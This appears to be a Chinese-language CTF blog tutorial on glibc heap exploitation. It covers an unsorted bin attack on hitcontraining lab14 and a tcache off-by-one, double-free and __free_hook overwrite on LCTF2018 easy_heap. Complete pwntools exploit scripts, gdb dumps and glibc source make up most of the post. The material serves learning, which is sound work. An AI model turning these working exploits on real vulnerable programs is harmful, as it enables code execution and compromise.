pwn堆入门系列教程7

NoOne / 2019-10-02 09:53:12 / 浏览数 6236 安全技术 CTF 顶(0) 踩(0)

pwn堆入门系列教程7

先学习 Unsorted Bin Attack，这部分由于ctf-wiki题目较少，所以只练习了一道题
Large bin也没有题目，到时候遇到在进行学习

hitcontraining_lab14

这个题过程也比较简单，自己复现下就好

漏洞利用过程

因为现在都是tcache了，所以复现起来还是得拿老版本libc测试

这里可以看出bk已经被修改

```
gdb-peda$ x/50gx 0x9ce0d0-0xd0
0x9ce000:   0x0000000000000000  0x0000000000000031
0x9ce010:   0x6161616161616161  0x6161616161616161
0x9ce020:   0x6161616161616161  0x6161616161616161
0x9ce030:   0x0000000000000000  0x0000000000000091
0x9ce040:   0x0000000a61646164  0x00000000006020b0
0x9ce050:   0x0000000000000000  0x0000000000000000
0x9ce060:   0x0000000000000000  0x0000000000000000
0x9ce070:   0x0000000000000000  0x0000000000000000
0x9ce080:   0x0000000000000000  0x0000000000000000
0x9ce090:   0x0000000000000000  0x0000000000000000
0x9ce0a0:   0x0000000000000000  0x0000000000000000
0x9ce0b0:   0x0000000000000000  0x0000000000000000
0x9ce0c0:   0x0000000000000090  0x0000000000000031
0x9ce0d0:   0x0000000a33333333  0x0000000000000000
0x9ce0e0:   0x0000000000000000  0x0000000000000000
0x9ce0f0:   0x0000000000000000  0x0000000000020f11
0x9ce100:   0x0000000000000000  0x0000000000000000
0x9ce110:   0x0000000000000000  0x0000000000000000
0x9ce120:   0x0000000000000000  0x0000000000000000
0x9ce130:   0x0000000000000000  0x0000000000000000
0x9ce140:   0x0000000000000000  0x0000000000000000
0x9ce150:   0x0000000000000000  0x0000000000000000
0x9ce160:   0x0000000000000000  0x0000000000000000
0x9ce170:   0x0000000000000000  0x0000000000000000
0x9ce180:   0x0000000000000000  0x0000000000000000
```

这里可以看到magic被修改了

```
gdb-peda$ x/20gx 0x00000000006020b0+0x10
0x6020c0 <magic>:   0x00007ff41afe4b78  0x0000000000000000
0x6020d0:   0x0000000000000000  0x0000000000000000
0x6020e0 <heaparray>:   0x00000000009ce010  0x00000000009ce040
0x6020f0 <heaparray+16>:    0x00000000009ce0d0  0x0000000000000000
0x602100 <heaparray+32>:    0x0000000000000000  0x0000000000000000
0x602110 <heaparray+48>:    0x0000000000000000  0x0000000000000000
0x602120 <heaparray+64>:    0x0000000000000000  0x0000000000000000
0x602130:   0x0000000000000000  0x0000000000000000
0x602140:   0x0000000000000000  0x0000000000000000
0x602150:   0x0000000000000000  0x0000000000000000
```

拿到flag了

```
[DEBUG] Received 0x1a bytes:
   'flag{unsorted_bin_attack}\n'
flag{unsorted_bin_attack}
```

exp

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'magicheap'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'magicheap'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
   context.log_level = 'debug'
   io = ctx.start()
   libc = ELF(libc)
else:
   io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      PIE enabled
def create_heap(size, content):
   io.recvuntil(":")
   io.sendline("1")
   io.recvuntil(":")
   io.sendline(str(size))
   io.recvuntil(":")
   io.sendline(content)


def edit_heap(idx, size, content):
   io.recvuntil(":")
   io.sendline("2")
   io.recvuntil(":")
   io.sendline(str(idx))
   io.recvuntil(":")
   io.sendline(str(size))
   io.recvuntil(":")
   io.sendline(content)


def del_heap(idx):
   io.recvuntil(":")
   io.sendline("3")
   io.recvuntil(":")
   io.sendline(str(idx))

def exp():
```

```
    create_heap(0x20, "1111")  # 0
    create_heap(0x80, "2222")  # 1
    # in order not to merge into top chunk
    create_heap(0x20, "3333")  # 2

    del_heap(1)

    magic = 0x00000000006020C0
    fd = 0
    bk = magic - 0x10

    edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
    create_heap(0x80, "dada")  #trigger unsorted bin attack
    gdb.attach(io)
    io.recvuntil(":")
    io.sendline("4869")
    io.interactive()
if __name__ == '__main__':
    exp()
    io.interactive()
```

unsortbin attack通常用于修改循环次数以及global_max_fast从而任意大小chunk可以fastbin attack

然后开始学习tcache

LCTF2018 PWN easy_heap

我感觉这道题质量挺高的，对于我这个新手来说，他用了挺多内存分配的知识，让我好好补了一波，这道题功能分析以及漏洞点分析请看ctf-wiki tcache篇

我直接讲解漏洞利用过程

漏洞利用过程

这道题麻烦就麻烦在没法直接溢出覆盖pre_size，所以要巧妙的构造pre_size，最终在overlap，后面的就是常规操作了

具体过程是跟ctf-wiki一样
具体过程：

1. 将 A -> B -> C 三块 unsorted bin chunk 依次进行释放
2. A 和 B 合并，此时 C 前的 prev_size 写入为 0x200
3. A 、 B 、 C 合并，步骤 2 中写入的 0x200 依然保持
4. 利用 unsorted bin 切分，分配出 A
5. 利用 unsorted bin 切分，分配出 B，注意此时不要覆盖到之前的 0x200
6. 将 A 再次释放为 unsorted bin 的堆块，使得 fd 和 bk 为有效链表指针
7. 此时 C 前的 prev_size 依然为 0x200（未使用到的值），A B C 的情况： A (free) -> B (allocated) -> C (free)，如果使得 B 进行溢出，则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。
8. tips: 但是在这个过程中需要注意 tcache 的影响。

堆初始化操作部分

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *

io = process('./easy_heap')
libc = ELF('/home/NoOne/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
context.log_level = 'debug'

def choice(idx):
    io.sendlineafter("> ", str(idx))

def malloc(size, content):
    choice(1)
    io.sendlineafter("> ", str(size))
    io.sendlineafter("> ", content)

def free(idx):
    choice(2)
    io.sendlineafter("> ", str(idx))
```

```
def puts(idx):
   choice(3)
   io.sendlineafter("> ", str(idx))

def exit():
   choice(4)
```

堆块重新排列

```
for i in range(7):
       malloc(0x10, str(i)*0x7)
   for i in range(3):
       malloc(0x10, str(i+7)*0x7)
   for i in range(6):
       free(i)
   free(9) #tcache for avoid top chunk consolidate
   for i in range(6, 9):
       free(i)
   # now the heap
   # tcache-0
   # tcache-1
   # tcache-2
   # tcache-3
   # tcache-4
   # tcache-5
   # unsorted - 6
   # unsorted - 7
   # unsorted - 8
   # tcache-9

   for i in range(7):
       malloc(0x10, str(i)*0x7)
   for i in range(3):
       malloc(0x10, str(i+7)*0x7)

   # now the heap
   # chunk-6
   # chunk-5
   # chunk-4
   # chunk-3
   # chunk-2
   # chunk-1
   # chunk - 7
   # chunk - 8
   # chunk - 9
   # chunk-0
```

off-by-one覆盖造成overlap

```
for i in range(6):
       free(i)
   free(8)
   free(7)
   # now chunk -9's pre_size is 0x200
   malloc(0xf8, str(8)*0x7) #off-by-one change chunk9's insue
   free(6) # free into tcache, so we can use unsortbin consolidate
   free(9) # unsortbin consolidate

   # now the heap
   # chunk-6   tcache
   # chunk-5   tcache
   # chunk-4   tcache
   # chunk-3   tcache
   # chunk-2   tcache
   # chunk-1   tcache
   # chunk - 7 unsorted     7-9 consolidate, and 8 in the big free_chunk
   # chunk - 8 use          this is the overlap
   # chunk - 9 unsorted
   # chunk-0   tcache
```

这里需要注意的是，off-by-one这里要覆盖到inuse的话，是得申请0xf8大小，malloc(0xf8)后，

1. 它会重用下个堆快的pre_size作为数据块
2. 所以我们off-by-one才能覆盖到insue位
   他会在ptr[0xf8]=0;这里就将size处的insue变成0
   然后此时tcache还没满，所以free(6)让tcache填满后，才能用触发unsortbin合并

申请0xf8,让剩余的unsortbin对齐到第0块chunk

```
# now the heap
   # chunk-6   tcache
   # chunk-5   tcache
   # chunk-4   tcache
   # chunk-3   tcache
   # chunk-2   tcache
   # chunk-1   tcache
   # chunk - 7 unsorted     7-9 consolidate, and 8 in the big free_chunk
   # chunk - 8 use          this is the overlap
   # chunk - 9 unsorted
   # chunk-0   tcache
   for i in range(7):
       malloc(0x10, str(i+1)*0x7)
   malloc(0x10, str(0x8))

   # now the heap
   # chunk-1
   # chunk-2
   # chunk-3
   # chunk-4
   # chunk-5
   # chunk-6
   # chunk-8
   # chunk-0
   #
   # chunk-7

   puts(0)
```

这时候我们puts(0)就可以泄露了，

后面简单的double free

```
libc_leak = u64(io.recvline().strip().ljust(8, '\x00'))
   io.success("libc_leak: 0x%x" % libc_leak)
   libc_base = libc_leak - 0x3ebca0
   malloc(0x10, str(0x9))

   # now the heap
   # chunk-1
   # chunk-2
   # chunk-3
   # chunk-4
   # chunk-5
   # chunk-6
   # chunk-8
   # chunk-0 chunk-9
   #
   # chunk-7
   free(1) #bypass the tcache count check
   free(0)
   free(9) #double free

   free_hook = libc_base + libc.symbols['__free_hook']
   one_gadget = libc_base + 0x4f2c5
   one_gadget = libc_base + 0x4f322# 0x10a38c
   malloc(0x10, p64(free_hook))
   malloc(0x10, '/bin/sh;#')
   malloc(0x10, p64(one_gadget))
   io.success("free_hook: 0x%x" % free_hook)
   #gdb.attach(io)
```

```
free(0)
```

这里有个注意的地方，free(1)这里看好

```
4194    ------------------------------ free ------------------------------
4195  */
4196
4197 static void
4198 _int_free (mstate av, mchunkptr p, int have_lock)
4199 {
4200   INTERNAL_SIZE_T size;        /* its size */
4201   mfastbinptr *fb;             /* associated fastbin */
4202   mchunkptr nextchunk;         /* next contiguous chunk */
4203   INTERNAL_SIZE_T nextsize;    /* its size */
4204   int nextinuse;               /* true if nextchunk is used */
4205   INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
4206   mchunkptr bck;               /* misc temp for linking */
4207   mchunkptr fwd;               /* misc temp for linking */
4208
4209   size = chunksize (p);
4210
4211   /* Little security check which won't hurt performance: the
4212      allocator never wrapps around at the end of the address space.
4213      Therefore we can exclude some size values which might appear
4214      here by accident or by "design" from some intruder.  */
4215   if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
4216       || __builtin_expect (misaligned_chunk (p), 0))
4217     malloc_printerr ("free(): invalid pointer");
4218   /* We know that each chunk is at least MINSIZE bytes in size or a
4219      multiple of MALLOC_ALIGNMENT.  */
4220   if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
4221     malloc_printerr ("free(): invalid size");
4222
4223   check_inuse_chunk(av, p);
4224
4225 #if USE_TCACHE
4226   {
4227     size_t tc_idx = csize2tidx (size);
4228
4229     /* Check to see if it's already in the tcache.  */
4230     tcache_entry *e = (tcache_entry *) chunk2mem (p);
4231
4232     /* This test succeeds on double free.  However, we don't 100%
4233        trust it (it also matches random payload data at a 1 in
4234        2^<size_t> chance), so verify it's not an unlikely coincidence
4235        before aborting.  */
4236     if (__glibc_unlikely (e->key == tcache && tcache))
4237       {
4238         tcache_entry *tmp;
4239         LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
4240         for (tmp = tcache->entries[tc_idx];
4241              tmp;
4242              tmp = tmp->next)
4243           if (tmp == e)
4244             malloc_printerr ("free(): double free detected in tcache 2");
4245         /* If we get here, it was a coincidence.  We've wasted a few
4246            cycles, but don't abort.  */
4247       }
4248
4249     if (tcache
4250         && tc_idx < mp_.tcache_bins
4251         && tcache->counts[tc_idx] < mp_.tcache_count)
4252       {
4253         tcache_put (p, tc_idx);
4254         return;
4255       }
4256   }
4257 #endif
```

源码在最后一部分检查了tcache的数量，所以free的时候得使tcache的数量对的上。

说多了都是泪，简单题做着不简单，花了好长时间

exp

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *

io = process('./easy_heap')
libc = ELF('/home/NoOne/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
context.log_level = 'debug'

def choice(idx):
   io.sendlineafter("> ", str(idx))

def malloc(size, content):
   choice(1)
   io.sendlineafter("> ", str(size))
   io.sendlineafter("> ", content)

def free(idx):
   choice(2)
   io.sendlineafter("> ", str(idx))

def puts(idx):
   choice(3)
   io.sendlineafter("> ", str(idx))

def exit():
   choice(4)

#■■■■■
def test():
   malloc(0x20, 'a'*0x20)
   puts(0)
   free(0)
   exit()

def exp():
   for i in range(7):
       malloc(0x10, str(i)*0x7)
   for i in range(3):
       malloc(0x10, str(i+7)*0x7)
   for i in range(6):
       free(i)
   free(9) #tcache for avoid top chunk consolidate
   for i in range(6, 9):
       free(i)
   # now the heap
   # tcache-0
   # tcache-1
   # tcache-2
   # tcache-3
   # tcache-4
   # tcache-5
   # unsorted - 6
   # unsorted - 7
   # unsorted - 8
   # tcache-9

   for i in range(7):
       malloc(0x10, str(i)*0x7)
   for i in range(3):
       malloc(0x10, str(i+7)*0x7)

   # now the heap
   # chunk-6
   # chunk-5
   # chunk-4
```

```
# chunk-3
# chunk-2
# chunk-1
# chunk - 7
# chunk - 8
# chunk - 9
# chunk-0

for i in range(6):
    free(i)
free(8)
free(7)
# now chunk -9's pre_size is 0x200
malloc(0xf8, str(8)*0x7) #off-by-one change chunk9's insue
free(6) # free into tcache, so we can use unsortbin consolidate
free(9) # unsortbin consolidate

# now the heap
# chunk-6   tcache
# chunk-5   tcache
# chunk-4   tcache
# chunk-3   tcache
# chunk-2   tcache
# chunk-1   tcache
# chunk - 7 unsorted     7-9 consolidate, and 8 in the big free_chunk
# chunk - 8 use          this is the overlap
# chunk - 9 unsorted
# chunk-0   tcache
for i in range(7):
    malloc(0x10, str(i+1)*0x7)
malloc(0x10, str(0x8))

# now the heap
# chunk-1
# chunk-2
# chunk-3
# chunk-4
# chunk-5
# chunk-6
# chunk-8
# chunk-0
#
# chunk-7

puts(0)
libc_leak = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("libc_leak: 0x%x" % libc_leak)
libc_base = libc_leak - 0x3ebca0
malloc(0x10, str(0x9))

# now the heap
# chunk-1
# chunk-2
# chunk-3
# chunk-4
# chunk-5
# chunk-6
# chunk-8
# chunk-0 chunk-9
#
# chunk-7
free(1) #bypass the tcache count check
free(0)
free(9) #double free

free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f2c5
one_gadget = libc_base + 0x4f322# 0x10a38c
malloc(0x10, p64(free_hook))
```

```
    malloc(0x10, '/bin/sh;#')
    malloc(0x10, p64(one_gadget))
    io.success("free_hook: 0x%x" % free_hook)
    #gdb.attach(io)
    free(0)



if __name__ == '__main__':
    exp()
    io.interactive()
```

小知识点

vmmap 这个命令可以指定具体想要查看的内容，比如

1. vmmap libc
2. vmmap heap
3. vmmap stack
4. vmmap map

tcache是FILO,跟栈是类似的

patchelf 可以指定版本libc, 这样可以调试带符号的libc，加上glibc-all-in-one这个项目或者自己去下载glibc就可以用pwndbg的那些heap bins等命令了
具体如下：
patchelf --set-interpreter libc目录/ld-2.27.so --set-rpath libc目录 文件名

总结

1. 加入tcache后攻击方法变得相对简单，堆块的申请却变得复杂了，因为在leak的时候要考虑tcache，以及构造的时候也要考虑tcache
2. 我觉得不需要跟我一样标注出每个堆块的位置，我只是学习tcache，所以标注出来方便自己看
3. 堆块重用这部分经常都是跟off-by-one结合起来

参考链接

ctf-wiki